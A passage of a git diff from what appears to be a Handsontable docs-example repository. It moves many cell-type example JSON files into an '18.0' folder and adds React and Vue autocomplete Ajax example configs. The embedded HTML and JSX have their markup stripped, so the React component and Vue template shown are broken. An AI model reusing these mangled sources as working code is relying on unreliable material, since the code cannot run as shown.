index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example5.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example5.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example5.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example5.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example5.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example6.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example6.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example6.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example6.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example6.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example6.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example6.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example6.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example7.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example7.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example7.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example7.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example7.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example7.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example7.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example7.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__react__example3.tsx.json new file mode 100644 index 00000000..c1e22fa8 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Autocomplete cell type · Autocomplete strict mode (Ajax) · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n response.json())\n .then((response) => process(response.data));\n },\n strict: true,\n },\n {}, // Year is a default text column\n {}, // Chassis color is a default text column\n {}, // Bumper color is a default text column\n ]}\n />\n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/autocomplete-cell-type/react/example3.tsx","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example3","exampleTitle":"Autocomplete strict mode (Ajax)","docPermalink":"/autocomplete-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__react__example4.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__react__example4.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__react__example4.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__react__example5.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__react__example5.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__react__example5.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__react__example5.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__react__example6.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__react__example6.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__react__example6.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__react__example6.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__react__example7.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__react__example7.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__react__example7.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__react__example7.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__vue__example3.vue.json new file mode 100644 index 00000000..9e6d2e0e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Autocomplete cell type · Autocomplete strict mode (Ajax) · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/autocomplete-cell-type/vue/example3.vue","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example3","exampleTitle":"Autocomplete strict mode (Ajax)","docPermalink":"/autocomplete-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__vue__example4.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__vue__example4.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__vue__example4.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__vue__example5.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__vue__example5.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__vue__example5.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__vue__example5.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__vue__example6.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__vue__example6.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__vue__example6.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__vue__example6.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__vue__example7.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__vue__example7.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__vue__example7.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__vue__example7.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__cell-type__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__cell-type__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__cell-type__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__cell-type__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__cell-type__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__cell-type__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__cell-type__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__cell-type__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__cell-type__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__cell-type__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__cell-type__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__cell-type__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__cell-type__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__cell-type__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__cell-type__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__cell-type__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__cell-type__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__cell-type__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__cell-type__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__cell-type__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__angular__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__angular__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__angular__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__javascript__example3.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__javascript__example3.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__javascript__example3.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__javascript__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__javascript__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__javascript__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__javascript__example4.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__javascript__example4.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__javascript__example4.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__javascript__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__javascript__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__javascript__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__react__example3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__react__example4.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__react__example4.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__react__example4.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__vue__example4.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__checkbox-cell-type__vue__example4.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__checkbox-cell-type__vue__example4.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__date-cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__date-cell-type__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__date-cell-type__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__date-cell-type__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__date-cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__date-cell-type__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__date-cell-type__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__date-cell-type__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__date-cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__date-cell-type__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__date-cell-type__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__date-cell-type__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__date-cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__date-cell-type__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__date-cell-type__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__date-cell-type__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__date-cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__date-cell-type__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__date-cell-type__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__date-cell-type__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__dropdown-cell-type__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__javascript__example3.js.json 